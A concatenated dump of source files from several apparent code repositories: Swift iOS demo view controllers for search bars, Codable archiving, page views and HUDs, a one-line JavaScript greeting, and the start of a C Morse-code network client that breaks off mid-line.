UIColor.lightGray addBarButtonItems() addSearchBar() } override func viewWillDisappear(_ animated: Bool) { super.viewWillDisappear(animated) svc.dismiss(animated: true, completion: nil) } func addBarButtonItems() { let item = UIBarButtonItem(title: "发布", style: .plain, target: self, action: #selector(publish(sender:))) navigationItem.rightBarButtonItem = item } func addSearchBar() { let searchBar = svc.searchBar searchBar.delegate = self navigationItem.titleView = searchBar } @objc func publish(sender: UIBarButtonItem) { print("\(type(of: self)).\(#function)") } deinit { print("\(type(of: self)).\(#function)") } } extension ContainSearchBarVC: UISearchBarDelegate { func searchBarShouldBeginEditing(_ searchBar: UISearchBar) -> Bool { print("\(type(of: self)).\(#function)") navigationItem.rightBarButtonItem = nil return true } func searchBarTextDidBeginEditing(_ searchBar: UISearchBar){ print("\(type(of: self)).\(#function)") } func searchBarShouldEndEditing(_ searchBar: UISearchBar) -> Bool { print("\(type(of: self)).\(#function)") return true } func searchBarTextDidEndEditing(_ searchBar: UISearchBar) { print("\(type(of: self)).\(#function)") DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) { self.addBarButtonItems() } } func searchBarSearchButtonClicked(_ searchBar: UISearchBar) { print("\(type(of: self)).\(#function)") svc.dismiss(animated: true, completion: nil) } func searchBarCancelButtonClicked(_ searchBar: UISearchBar) { print("\(type(of: self)).\(#function)") } } <file_sep>// // User.swift // SwiftTestbed // // Created by firefly on 2020/11/16. // import Foundation // 归档 必须继承NSObject struct User: Codable { var id = 1001 var isMale = true var name: String var age: Int var money: Double var des = "" } extension User { enum CodingKeys: String, CodingKey { case id case isMale = "is_male" case name case age case money } } <file_sep>// // PageDemoVC.swift // SwiftTestbed // // Created by firefly on 2020/11/17. // import Foundation import UIKit class PageDemoVC: BaseViewController { var dataArray: [PageVC] = { let p1 = PageVC() p1.view.backgroundColor = UIColor.green let p2 = PageVC() p2.view.backgroundColor = UIColor.orange let p3 = PageVC() p3.view.backgroundColor = UIColor.blue return [p1, p2, p3] }() override func viewDidLoad() { super.viewDidLoad() let pagesVC = UIPageViewController.init(transitionStyle: UIPageViewController.TransitionStyle.scroll, navigationOrientation: UIPageViewController.NavigationOrientation.horizontal) pagesVC.delegate = self pagesVC.dataSource = self pagesVC.setViewControllers([dataArray[0]], direction: UIPageViewController.NavigationDirection.reverse, animated: false, completion: nil) pagesVC.view.frame = self.view.bounds self.addChild(pagesVC) self.view.addSubview(pagesVC.view) } } extension PageDemoVC: UIPageViewControllerDelegate { } extension PageDemoVC: UIPageViewControllerDataSource { func pageViewController(_ pageViewController: UIPageViewController, viewControllerBefore viewController: UIViewController) -> UIViewController? { let index = dataArray.firstIndex(of: viewController as! PageVC) if index == 0 { return nil } return dataArray[index! - 1] } func pageViewController(_ pageViewController: UIPageViewController, viewControllerAfter viewController: UIViewController) -> UIViewController? { let index = dataArray.firstIndex(of: viewController as! PageVC) if index == dataArray.count - 1 { return nil } return dataArray[index! + 1] } } <file_sep>// // WebviewVC.swift // SwiftTestbed // // Created by firefly on 2020/12/31. // import Foundation import WebKit class WebviewVC: BaseViewController { var webView = WKWebView() override func viewDidLoad() { super.viewDidLoad() creatUI() configUI() addUI() constraintUI() let url = URL(string: "https://www.baidu.com") let baidu = URLRequest(url: url!) webView.load(baidu) } func creatUI() { } func configUI() { webView.frame = CGRect(x: 0, y: 0, width: view.bounds.width, height: view.bounds.height) } func addUI() { view.addSubview(webView) } func constraintUI() { } } <file_sep>// // CodableDemoVC.swift // SwiftTestbed // // Created by firefly on 2020/11/16. // import Foundation import UIKit class CodableDemoVC: BaseViewController { lazy var archivedPath: String = { let homePath = NSHomeDirectory() let docPath = homePath + "/Documents" let teamPath = docPath + "/team" return teamPath }() lazy var userPath: String = { let homePath = NSHomeDirectory() let docPath = homePath + "/Documents" let userPath = docPath + "/user" return userPath }() override func viewDidLoad() { super.viewDidLoad() // let archiveItem = UIBarButtonItem(title: "归档", style: UIBarButtonItem.Style.plain, target: self, action: #selector(archivie)) // let unachiveItem = UIBarButtonItem(title: "解档", style: UIBarButtonItem.Style.plain, target: self, action: #selector(unarchivie)) let archiveItem = UIBarButtonItem(title: "归档", style: UIBarButtonItem.Style.plain, target: self, action: #selector(archiveUser)) let unachiveItem = UIBarButtonItem(title: "解档", style: UIBarButtonItem.Style.plain, target: self, action: #selector(unarchiveUser)) self.navigationItem.rightBarButtonItems = [archiveItem, unachiveItem] } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { removeArchivedFile() // demoJson() // demoPlist() // decodeTeam() // archive() // unarchive() // archiveUser() } @objc func archivie () { print("\(type(of: self)).\(#function)") let p1 = Person(id: 1, name: "tom", age: 10, isMale: true) let p2 = Person(id: 2, name: "jim", age: 12, isMale: false) let p3 = Person(id: 3, name: "tim", age: 14, isMale: true) let p4 = Person(id: 4, name: "sam", age: 16, isMale: true) let members = [p1, p2, p3] let team = Team(master: p4, members: members) guard let plistData = try? PropertyListEncoder().encode(team) else { print("编码为plist失败") return } let dataPath = self.archivedPath + ".plist" do { try plistData.write(to: URL(fileURLWithPath: dataPath)) print("plist data存储成功") } catch { print("plist data存储失败:", error) } let result = NSKeyedArchiver.archiveRootObject(plistData, toFile: self.archivedPath) print("archive plist data:", result) // josn do { let data = try JSONEncoder().encode(team) let jsonData = self.archivedPath + "_jsondata" do { try data.write(to: URL(fileURLWithPath: jsonData)) print("json data --> file 成功") } catch { print("json data --> file 失败:", error) } } catch { print("team --> json data 失败") } } @objc func unarchivie () { print("\(type(of: self)).\(#function)") guard let data = NSKeyedUnarchiver.unarchiveObject(withFile: self.archivedPath) as? Data else { print("archived --> data 失败") return } do { let team = try PropertyListDecoder().decode(Team.self, from: data) print("解档成功") print("team:", team) } catch { print("data --> team 失败") } } func removeArchivedFile() { print("\(type(of: self)).\(#function)") if FileManager.default.fileExists(atPath: self.archivedPath) { // 存在 do { try FileManager.default.removeItem(at: URL(fileURLWithPath: self.archivedPath)) print("删除文件成功:", self.archivedPath) } catch { print("删除失败:", error) } } else { print("文件不存在:", self.archivedPath) } } func demoJson() { let p1 = Person(id: 1, name: "tom", age: 10, isMale: true) let p2 = Person(id: 2, name: "jim", age: 12, isMale: false) let p3 = Person(id: 3, name: "tim", age: 14, isMale: true) let p4 = Person(id: 4, name: "sam", age: 16, isMale: true) let members = [p1, p2, p3] let team = Team(master: p4, members: members) let jsonData = try? JSONEncoder().encode(team) if let data = jsonData { let jsonText = String(data: data, encoding: String.Encoding.utf8) print(jsonText ?? "") print("解码") let t = try? JSONDecoder().decode(Team.self, from: data) if let tm = t { print("master:", tm.master) for person in tm.members { print("member:", person) } } } } @objc func archiveUser() { var user = User(name: "jim", age: 22, money: 36000.56) user.isMale = true let homePath = NSHomeDirectory() let docPath = homePath + "/Documents" let userPath = docPath + "/user" do { let data = try PropertyListEncoder().encode(user) let result = NSKeyedArchiver.archiveRootObject(data, toFile: userPath) print("archive result:", result) } catch { print("archived 失败:", error) } } @objc func unarchiveUser() { let info: [String : Any] = ["id" : 1002, "is_male" : false, "name" : "jobs", "age" : 18, "money" : 266.68, ] do { let data = try JSONSerialization.data(withJSONObject: info, options: JSONSerialization.WritingOptions.prettyPrinted) do { let user = try JSONDecoder().decode(User.self, from: data) print("user:", user) } catch { print("json data --> user 失败:", error) } } catch { print("dic --> json data 失败:", error) } // guard let user = NSKeyedUnarchiver.unarchiveObject(withFile: self.archivedPath) as? User else { // return // } // // print("archived user:", user) } } <file_sep>// // SearchBarVC.swift // SwiftTestbed // // Created by firefly on 2020/12/7. // import Foundation import UIKit class SearchBarVC: UIViewController { override func viewDidLoad() { super.viewDidLoad() view.backgroundColor = UIColor.white } } <file_sep>// // SearchResultVC1.swift // SwiftTestbed // // Created by firefly on 2020/12/7. // import Foundation <file_sep>// // SubTable.swift // SwiftTestbed // // Created by firefly on 2020/12/8. // import Foundation struct Model { var name = "" var age = 0 } class SubTable: Table<Model> { func displayData() { for item in dataArray { print(item.age, item.name) } } } <file_sep>// // MetatypeVC.swift // SwiftTestbed // // Created by firefly on 2020/11/13. // import UIKit class MetatypeVC: BaseViewController { override func viewDidLoad() { super.viewDidLoad() } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { test() } func test() { print(type(of: self)) print(type(of: MetatypeVC.self)) let smiley = EmojiSmiley() printSmileyInfo(smiley) let intMetaType: Int.Type = Int.self let protocolMetaType: SomeProtocol.Protocol = SomeProtocol.self print("类型的元类型:", intMetaType) // Int print("协议的元类型:", protocolMetaType) // SomeProtocol print("可以使用元类型的实例来调用类型的静态方法") print(intMetaType.init(10)) // 10 print("打印为协议类型") let s: SomeProtocol = "hello" printGenericInfo(s) // meta type: SomeProtocol print("打印为真实类型") betterPrintGenericInfo(s) // meta type: String String.someFunc() String.self.someFunc() type(of: "hello").someFunc() } func printSmileyInfo(_ value: Smiley) { let smileyType = type(of: value) // 通过类的对象获取类的元类型的实例 print("print type:", smileyType) print("value type:", smileyType.text) print("value type:", Smiley.self.text) // 通过类名获取类的元类型的实例 } func printGenericInfo<T>(_ value: T) { let metaType = type(of:value) print("meta type:", metaType) } func betterPrintGenericInfo<T>(_ value: T) { let metaType = type(of:value as Any) print("meta type:", metaType) } } protocol SomeProtocol { static func someFunc() } extension String: SomeProtocol { static func someFunc () { print("some func") } } <file_sep>// // GenericsVC.swift // SwiftTestbed // // Created by firefly on 2020/12/8. // import Foundation class GenericsVC: BaseViewController { override func viewDidLoad() { super.viewDidLoad() let subTable = SubTable() for i in 1...5 { subTable.dataArray.append(Model(name: "jobs", age: i)) } subTable.displayData() } } <file_sep>// // TestItem.swift // SwiftTestbed // // Created by firefly on 2020/11/12. // import UIKit struct TestItem { var title: String var type: UIViewController.Type } <file_sep>// // PageVC.swift // SwiftTestbed // // Created by firefly on 2020/11/17. // import Foundation import UIKit class PageVC: BaseViewController { deinit { print("\(type(of: self)).\(#function)") } } <file_sep>// // NavigationController.swift // CloudBusiness // // Created by firefly on 2020/10/26. // import UIKit class NavigationController: UINavigationController { var mt: NavigationController.Type = NavigationController.self override func pushViewController(_ viewController: UIViewController, animated: Bool) { viewController.hidesBottomBarWhenPushed = self.viewControllers.count > 0 super.pushViewController(viewController, animated: animated) } } extension NavigationController: UINavigationBarDelegate { func navigationBar(_ navigationBar: UINavigationBar, shouldPop item: UINavigationItem) -> Bool { print("\(type(of: self)).\(#function):", item) return true //!(self.topViewController is LazyLoadingVC) } func navigationBar(_ navigationBar: UINavigationBar, didPop item: UINavigationItem) { print("\(type(of: self)).\(#function):", item) } } <file_sep>// // IteamsVC.swift // SwiftTestbed // // Created by firefly on 2020/12/8. // import Foundation import UIKit class IteamsVC: BaseViewController { override func viewDidLoad() { super.viewDidLoad() view.backgroundColor = UIColor.blue } } <file_sep>// // HUDVC.swift // SwiftTestbed // // Created by firefly on 2021/1/28. // import Foundation import MBProgressHUD class HUDVC: BaseViewController { // MARK: - viewDidLoad override func viewDidLoad() { super.viewDidLoad() creatUI() configUI() addUI() constraintUI() } deinit { print("\(type(of: self)).\(#function)") } // MARK: - UI func creatUI() { let backItem = UIBarButtonItem(title: "back", style: .plain, target: self, action: #selector(back)) let showItem = UIBarButtonItem(title: "shw", style: .plain, target: self, action: #selector(showIndicator)) let dismissItem = UIBarButtonItem(title: "dis", style: .plain, target: self, action: #selector(dismissIndicator)) navigationItem.leftBarButtonItems = [backItem, showItem, dismissItem] let doneItem = UIBarButtonItem(title: "done", style: .plain, target: self, action: #selector(showDone)) let progressItem = UIBarButtonItem(title: "poges", style: .plain, target: self, action: #selector(showProgress)) let failureItem = UIBarButtonItem(title: "fail", style: .plain, target: self, action: #selector(showFailure)) let warningItem = UIBarButtonItem(title: "warn", style: .plain, target: self, action: #selector(showWarning)) let switchItem = UIBarButtonItem(title: "swtich", style: .plain, target: self, action: #selector(swithToResult)) navigationItem.rightBarButtonItems = [doneItem, progressItem, failureItem, warningItem, switchItem] let btn = UIButton(frame: CGRect(x: 100, y: 100, width: 100, height: 40)) btn.setTitle("test", for: .normal) btn.addTarget(self, action: #selector(btnTapped), for: .touchUpInside) view.addSubview(btn) btn.backgroundColor = .gray } func configUI() { } func addUI() { } func constraintUI() { } // MARK: - action @objc func btnTapped() { print("\(type(of: self)).\(#function)") } @objc func back() { navigationController?.popViewController(animated: true) } @objc func showIndicator() { HUD.showIndicator(message: "正在登录", in: view) } @objc func dismissIndicator() { HUD.hideIndicator(parentViewOrHud: view) } @objc func showDone() { if let hud = MBProgressHUD.forView(view) { hud.mode = .customView hud.customView = UIImageView() let image = UIImage(named: "Checkmark")?.withRenderingMode(.alwaysTemplate) let imageView = UIImageView(image: image) hud.customView = imageView hud.label.text = "完成" hud.hide(animated: true, afterDelay: 3) } else { HUD.showSuccess(text: "修改成功") } } @objc func showProgress() { } @objc func showFailure() { HUD.showFailure(text: "服务器繁忙20") } @objc func showWarning() { HUD.showWarning(text: "密码不正确") } @objc func swithToResult() { HUD.switchToSuccess(text: "登录成功", for: view) } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { // HUD.showText("hello") // HUD.showText("hello", in:view) // let indefinateView = SVIndefiniteAnimatedView(frame: CGRect(x: 200, y: 150, width: 80, height: 80)) // indefinateView.center = view.center // indefinateView.backgroundColor = UIColor.black // // indefinateView.layer.cornerRadius = 6 // indefinateView.layer.masksToBounds = true // indefinateView.strokeColor = .white; // indefinateView.strokeThickness = 3 // indefinateView.radius = 30 // view.addSubview(indefinateView) } } <file_sep>// // BaseVC.swift // CloudBusiness // // Created by firefly on 2020/10/27. // import UIKit class BaseViewController: UIViewController { override func viewDidLoad() { self.view.backgroundColor = UIColor.white } override func viewDidDisappear(_ animated: Bool) { super.viewDidDisappear(animated) print("\(type(of: self)).\(#function)") if navigationController == nil && presentingViewController == nil { viewControllerDidDismiss() } else { print("ViewController does not dismiss") } } func viewControllerDidDismiss() { print("\(type(of: self)).\(#function)") } } <file_sep>// // PresetationDemoVC.swift // SwiftTestbed // // Created by firefly on 2021/1/16. // import Foundation import UIKit class PresetationDemoVC: BaseViewController { override func viewDidLoad() { super.viewDidLoad() creatUI() configUI() addUI() constraintUI() } func creatUI() { } func configUI() { } func addUI() { } func constraintUI() { } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { let vc = PayPasswordVC() vc.modalTransitionStyle = .crossDissolve vc.modalPresentationStyle = .custom vc.transitioningDelegate = vc self.present(vc, animated: true, completion: nil) } }
5d35731871580aecdb1d60221abdc49f4231891b
[ "Swift" ]
33
Swift
tangzhentao/SwiftTestbed
a035a5af571886cb8d8bff2fbab8ba1d97888e33
b8986c1770a45f742ba2f6cfdb3b4d007ccd0141
refs/heads/master
<file_sep>const hello = "john" consol.log("${hello}, Hello")
f49458255b58722e8c25e58094dbe889a8f702e8
[ "JavaScript" ]
1
JavaScript
ricejohn03/Git-Example
ecaf913e3bcb21c17c46ae3c541c2758f98e1e6a
a857a108638a80a3231d888badcf577b88071c09
refs/heads/master
<repo_name>rcurrie/bme230b<file_sep>/Makefile build: docker build --rm -t robcurrie/bme230b . push: docker push robcurrie/bme230b upload: docker run -it -v ${HOME}:/root microsoft/azure-cli az storage blob upload -c data --name tcga_target_gtex.h5 --file ~/tcga_target_gtex.h5 nbviewer: docker run -d \ -v /mnt/students:/notebooks \ -p 8080:8080 \ jupyter/nbviewer \ python3 -m nbviewer --port=8080 --no-cache --localfiles=/notebooks <file_sep>/leaderboard.py import os import re import operator import subprocess root = "/mnt/students" cmd = "Rscript class/BME230_F1score_V2.R /mnt/students/{}/predict.tsv /mnt/data/tcga_mutation_test_labels.tsv" leaderboard = {} for id in os.listdir(root): if os.path.exists(os.path.join(root, id, "predict.tsv")): leaderboard[id] = {} print("Ranking {}".format(id)) try: scores = subprocess.check_output(cmd.format(id).split(" ")) except subprocess.CalledProcessError as e: print("Problems ranking {}: {}".format(id, e.output)) leaderboard[id]["Tissue"] = float(re.findall("Tissue F1 score: (NaN|[0-9]*\.?[0-9]*)", scores)[0]) leaderboard[id]["TP53"] = float(re.findall("TP53_F1_score: (NaN|[0-9]*\.?[0-9]*)", scores)[0]) leaderboard[id]["KRAS"] = float(re.findall("KRAS_F1_score: (NaN|[0-9]*\.?[0-9]*)", scores)[0]) leaderboard[id]["BRAF"] = float(re.findall("BRAF_F1_score: (NaN|[0-9]*\.?[0-9]*)", scores)[0]) leaderboard[id]["Mutation"] = float(re.findall("Mutation_F1_score: (NaN|[0-9]*\.?[0-9]*)", scores)[0]) leaderboard[id]["Overall"] = float(re.findall("Final_F1_score: (NaN|[0-9]*\.?[0-9]*)", scores)[0]) for id in sorted(leaderboard.keys(), key=lambda x: leaderboard[x]["Overall"], reverse=True): print(id) print("Overall: {:.6f}".format(leaderboard[id]["Overall"])) print("Tissue: {:.6f}".format(leaderboard[id]["Tissue"])) print("TP53: {:.6f}".format(leaderboard[id]["TP53"])) print("KRAS: {:.6f}".format(leaderboard[id]["KRAS"])) print("BRAF: {:.6f}".format(leaderboard[id]["BRAF"])) print("Mutation: {:.6f}".format(leaderboard[id]["Mutation"])) print("") <file_sep>/class/README.txt Contents of this folder is read only and populated by the TAs Anything in this folder may be overwritten by future assignments - copy any templates to your home before working on them. <file_sep>/Dockerfile FROM jupyter/datascience-notebook:96f2f777be6e USER root RUN apt-get update \ && apt-get install -y --no-install-recommends \ curl \ wget \ zip \ zlib1g-dev \ time \ samtools \ bedtools \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* RUN curl -sSL https://get.docker.com/ | sh RUN usermod -aG docker jovyan RUN wget -qO- https://github.com/lomereiter/sambamba/releases/download/v0.6.7/sambamba_v0.6.7_linux.tar.bz2 \ | tar xj -C /usr/local/bin # The order of these is intentional to work around conflicts # RUN conda install --yes pytorch torchvision -c pytorch # pytorch repo has older versions only... RUN conda install --yes pytorch torchvision -c soumith RUN conda install --yes tensorflow keras RUN pip install --upgrade pip ADD requirements.txt requirements.txt RUN pip install --no-cache-dir -r requirements.txt RUN conda install --yes numpy==1.14.1 scikit-learn==0.19.0 USER jovyan <file_sep>/requirements.txt awscli==1.14.32 boto3==1.5.22 docker==3.0.0 docutils==0.14 networkx==2.0 pybedtools==0.7.10 pysam==0.13 PyVCF==0.6.8 tables==3.4.2 <file_sep>/class/BME230_F1score_V2.R # score BME assignment using F1 score # script takes two arguments, the first argument is the prediction file and the second is the actual file # example: # Rscript BME230_F1score.R davids_pancan_response.tsv tcga_mutation_test_labels.tsv # outputs a file named with the <predictions input filename>_scored.tsv # load input file args = commandArgs(trailingOnly=TRUE) predict_input_file<<-args[1] actual_labels_file<<-args[2] # load files predicted_response<-read.csv(file=predict_input_file,sep="\t") # colnames(predicted_response)<-c("TumorTypePrediction","TP53MutationPrediction","KRASMutationPrediction","BRAFMutationPrediction") true_response<-read.csv(file=actual_labels_file,sep="\t") # for testing #predicted_response<-read.csv(file="davids_tissue_specific_response.tsv",sep="\t") #colnames(predicted_response)<-c("TumorTypePrediction","TP53MutationPrediction","KRASMutationPrediction","BRAFMutationPrediction") #true_response<-read.csv(file="tcga_mutation_test_labels.tsv",sep="\t") # score tumor type # for each tumor type calculate an F1 score tissue_scores<-data.frame(matrix(ncol=2,nrow=0)) tissues<-unique(true_response$primary.disease.or.tissue) tissues_predict<-unique(predicted_response$TumorTypePrediction) running_precision<-c() running_recall<-c() for (tissue in tissues) { TP<-length(which(predicted_response$TumorTypePrediction == tissue & true_response$primary.disease.or.tissue == tissue)) FP<-length(which(predicted_response$TumorTypePrediction == tissue & true_response$primary.disease.or.tissue != tissue)) FN<-length(which(predicted_response$TumorTypePrediction != tissue & true_response$primary.disease.or.tissue == tissue)) if ((TP+FP) > 0) { precision<-TP/(TP+FP) } else { precision<-0 } if ((TP+FN) > 0) { recall<-TP/(TP+FN) } else { recall <- 0 } running_precision<-c(running_precision,precision) running_recall<-c(running_recall,recall) if ((precision*recall)!=0) { tissue_specific_F1_score<-(2*precision*recall)/(precision+recall) } else {tissue_specific_F1_score<-0} tissue_scores<-rbind(tissue_scores,cbind(paste0(tissue,"_F1_score"),"V2"=tissue_specific_F1_score)) print(paste0(tissue,"_F1_score: ",tissue_specific_F1_score)) } # take mean of precision and recall tissue_precision<-sum(running_precision)/length(tissues) tissue_recall<-sum(running_recall)/length(tissues) tissue_F1_score<-(2*tissue_precision*tissue_recall)/(tissue_precision+tissue_recall) print(paste("Overall Tissue F1 score:",tissue_F1_score)) # score TP53 mutation predictions TP<-length(which(predicted_response$TP53MutationPrediction ==1 & true_response$TP53_mutant==1)) FP<-length(which(predicted_response$TP53MutationPrediction ==1 & true_response$TP53_mutant==0)) FN<-length(which(predicted_response$TP53MutationPrediction ==0 & true_response$TP53_mutant==1)) if ((TP+FP) > 0) { TP53_precision<-TP/(TP+FP) } else { TP53_precision<-0 } if ((TP+FN) > 0) { TP53_recall<-TP/(TP+FN) } else { TP53_recall <- 0 } TP53_F1_score<-(2*TP53_precision*TP53_recall)/(TP53_precision+TP53_recall) print(paste("TP53_F1_score:",TP53_F1_score)) # score KRAS mutation predictions TP<-length(which(predicted_response$KRASMutationPrediction ==1 & true_response$KRAS_mutant==1)) FP<-length(which(predicted_response$KRASMutationPrediction ==1 & true_response$KRAS_mutant==0)) FN<-length(which(predicted_response$KRASMutationPrediction ==0 & true_response$KRAS_mutant==1)) if ((TP+FP) > 0) { KRAS_precision<-TP/(TP+FP) } else { KRAS_precision<-0 } if ((TP+FN) > 0) { KRAS_recall<-TP/(TP+FN) } else { KRAS_recall <- 0 } KRAS_F1_score<-(2*KRAS_precision*KRAS_recall)/(KRAS_precision+KRAS_recall) print(paste("KRAS_F1_score:",KRAS_F1_score)) # score BRAF mutation predictions TP<-length(which(predicted_response$BRAFMutationPrediction ==1 & true_response$BRAF_mutant==1)) FP<-length(which(predicted_response$BRAFMutationPrediction ==1 & true_response$BRAF_mutant==0)) FN<-length(which(predicted_response$BRAFMutationPrediction ==0 & true_response$BRAF_mutant==1)) if ((TP+FP) > 0) { BRAF_precision<-TP/(TP+FP) } else { BRAF_precision<-0 } if ((TP+FN) > 0) { BRAF_recall<-TP/(TP+FN) } else { BRAF_recall <- 0 } BRAF_F1_score<-(2*BRAF_precision*BRAF_recall)/(BRAF_precision+BRAF_recall) print(paste("BRAF_F1_score:",BRAF_F1_score)) mutation_precision<-(TP53_precision+KRAS_precision+BRAF_precision)/3 mutation_recall<-(TP53_recall+KRAS_recall+BRAF_recall)/3 mutation_F1_score<-(2*mutation_precision*mutation_recall)/(mutation_precision+mutation_recall) print(paste("Mutation_F1_score:",mutation_F1_score)) final_precision<-(mutation_precision+tissue_precision)/2 final_recall<-(mutation_recall+tissue_recall)/2 final_F1_score<-(2*final_precision*final_recall)/(final_precision+final_recall) print(paste("Final_F1_score:",final_F1_score)) other_scores<-rbind(c("Tumor_Type_F1_score",tissue_F1_score), c("TP53_F1_score",TP53_F1_score), c("KRAS_F1_score",KRAS_F1_score), c("BRAF_F1_score",BRAF_F1_score), c("Mutation_F1_score",mutation_F1_score), c("Final_F1_score",final_F1_score)) score_vector<-rbind(tissue_scores,other_scores) output_filename<-paste0(strsplit(predict_input_file,"\\.")[[1]][1],"_scored.tsv") # write.table((score_vector),quote=FALSE,file=output_filename,sep="\t",col.names = FALSE,row.names = FALSE) <file_sep>/fabfile.py """ Tooling to spin up hosts running jupyter on Azure for BME230B """ import os import glob import json import datetime import pprint from StringIO import StringIO from fabric.api import env, local, run, sudo, runs_once, parallel, warn_only, cd, settings from fabric.operations import put, get from fabric.contrib.console import confirm # To debug communication issues un-comment the following # import logging # logging.basicConfig(level=logging.DEBUG) def _find_machines(): """ Fill in host globals from docker-machine """ env.user = "ubuntu" machines = [json.loads(open(m).read())["Driver"] for m in glob.glob(os.path.expanduser("~/.docker/machine/machines/*/config.json"))] env.hostnames = [m["MachineName"] for m in machines if not env.hosts or m["MachineName"] in env.hosts] env.hosts = [local("docker-machine ip {}".format(m["MachineName"]), capture=True) for m in machines if not env.hosts or m["MachineName"] in env.hosts] # env.key_filename = [m["SSHKeyPath"] for m in machines] # Use single key due to https://github.com/UCSC-Treehouse/pipelines/issues/5 # env.key_filename = [m["SSHKeyPath"] for m in machines] env.key_filename = "~/.ssh/id_rsa" _find_machines() @runs_once def cluster_up(count=1): """ Spin up 'count' docker machines """ print("Spinning up {} more cluster machines".format(count)) for i in range(int(count)): hostname = "bme230b-{:%Y%m%d-%H%M%S}".format(datetime.datetime.now()) local(""" docker-machine create --driver azure \ --azure-subscription-id "11ef7f2c-6e06-44dc-a389-1d6b1bea9489" \ --azure-location "westus" \ --azure-ssh-user "ubuntu" \ --azure-open-port 80 \ --azure-size "Standard_D8_v3" \ --azure-storage-type "Standard_LRS" \ --azure-resource-group "bme230bstudents" \ {} """.format(hostname)) local("cat ~/.ssh/id_rsa.pub" + "| docker-machine ssh {} 'cat >> ~/.ssh/authorized_keys'".format(hostname)) # In case additional commands are called after up _find_machines() @parallel def configure_machines(): """ Push out class templates and download data sets """ run("sudo usermod -aG docker ${USER}") put("class") run("sudo chown ubuntu:ubuntu /mnt") run("mkdir -p /mnt/data /mnt/scratch") with cd("/mnt/data"): # run("wget -r -np -R 'index.html*' -N https://bme230badmindiag811.blob.core.windows.net/data/") run("wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/tcga_target_gtex_train.h5") run("wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/tcga_mutation_train.h5") run("wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/breast-cancer-wisconsin.data.csv") run("wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/c2.cp.kegg.v6.1.symbols.gmt") run("wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/tcga_mutation_test_unlabeled.h5") run("sudo chown ubuntu:ubuntu /mnt") run("""sudo docker pull robcurrie/jupyter | grep -e 'Pulling from' -e Digest -e Status -e Error""") # run("chmod -R +r-w class/") @runs_once def cluster_down(): """ Terminate ALL docker-machine machines """ if confirm("Stop and delete all cluster machines?", default=False): for host in env.hostnames: print("Terminating {}".format(host)) with warn_only(): local("docker-machine stop {}".format(host)) with warn_only(): local("docker-machine rm -f {}".format(host)) @runs_once def machines(): """ Print hostname, ip, and ssh key location of each machine """ print("Machines:") for machine in zip(env.hostnames, env.hosts): print("{}/{}".format(machine[0], machine[1])) def ps(): """ List dockers running on each machine """ run("docker ps") def jupyter_up(): """ Launch a jupyter notebook server on each cluster machine """ with warn_only(): run(""" nohup docker run -d --name jupyter \ --user root \ -e JUPYTER_ENABLE_LAB=1 \ -e GRANT_SUDO=yes \ -e NB_UID=`id -u` \ -e NB_GID=`id -g` \ -p 80:8888 \ -v `echo ~`:/home/jovyan \ -v /mnt/data:/home/jovyan/data \ -v /mnt/scratch:/scratch/home/jovyan/data \ robcurrie/jupyter start-notebook.sh \ --NotebookApp.password='<PASSWORD>:<PASSWORD>' """, pty=False) def jupyter_down(): """ Shutdown the jupyter notebook server on each cluster machine """ with warn_only(): run("docker stop jupyter && docker rm jupyter") def backhaul(): """ Backhaul notebooks from all the cluster machines into /mnt/students """ username = env.host with warn_only(): fd = StringIO() paths = get("~/username.txt", fd) if paths.succeeded: username=fd.getvalue().strip() local("mkdir -p /mnt/students/{}".format(username)) local("rsync -av --max-size=10m --delete ubuntu@{}:~/* /mnt/students/{}".format(env.host, username)) # with cd("/mnt/students/{}".format(username)): # get("/home/ubuntu/*", "/mnt/students/{}/".format(username))
ca6373d1a51fbd0b8faf22ca76c7e30c8bd59753
[ "Makefile", "Python", "Text", "R", "Dockerfile" ]
7
Makefile
rcurrie/bme230b
c4a973febeba0fb1ea94037d15af6c13b9333070
f4c58d8cabd3f735ecafa271078ce7a61dd47c8d
refs/heads/master
<repo_name>mstramb/irmc<file_sep>/src/cwprotocol.c #include <stdio.h> #include "cwprotocol.h" int prepare_id (struct data_packet_format *id_packet, char *id) { id_packet->command = DAT; id_packet->length = SIZE_DATA_PACKET_PAYLOAD; snprintf(id_packet->id, SIZE_ID, id, "%s"); id_packet->sequence = 0; id_packet->n = 0; snprintf(id_packet->status, SIZE_ID, INTERFACE_VERSION); id_packet->a21 = 1; /* These magic numbers was provided by Les Kerr */ id_packet->a22 = 755; id_packet->a23 = 65535; return 0; } int prepare_tx (struct data_packet_format *tx_packet, char *id) { int i; tx_packet->command = DAT; tx_packet->length = SIZE_DATA_PACKET_PAYLOAD; snprintf(tx_packet->id, SIZE_ID, id, "%s"); tx_packet->sequence = 0; tx_packet->n = 0; for(i = 1; i < 51; i++)tx_packet->code[i] = 0; tx_packet->a21 = 0; /* These magic numbers was provided by Les Kerr */ tx_packet->a22 = 755; tx_packet->a23 = 16777215; snprintf(tx_packet->status, SIZE_STATUS, "?"); return 0; } <file_sep>/src/irmc.c /* irmc - internet relay morsecode client */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <math.h> #include <fcntl.h> #include <morse/beep.h> #ifdef __MACH__ #define LIBOSS_INTERNAL #include <liboss/soundcard.h> //will not be used for audio any more #else #include <linux/ioctl.h> #include <asm-generic/ioctl.h> #include <asm-generic/termios.h> #endif #include <signal.h> #include <arpa/inet.h> #include <time.h> #include <sys/time.h> #include <stdio.h> #ifdef __MACH__ #include <mach/clock.h> #include <mach/mach.h> #endif #define DEBUG 0 #define MAXDATASIZE 1024 // max number of bytes we can get at once #include "cwprotocol.h" struct command_packet_format connect_packet = {CON, DEFAULT_CHANNEL}; struct command_packet_format disconnect_packet = {DIS, 0}; struct data_packet_format id_packet; struct data_packet_format rx_data_packet; struct data_packet_format tx_data_packet; int serial_status = 0, fd_serial, fd_socket, numbytes; int tx_sequence = 0, rx_sequence; double tx_timeout = 0; long tx_timer = 0; #define 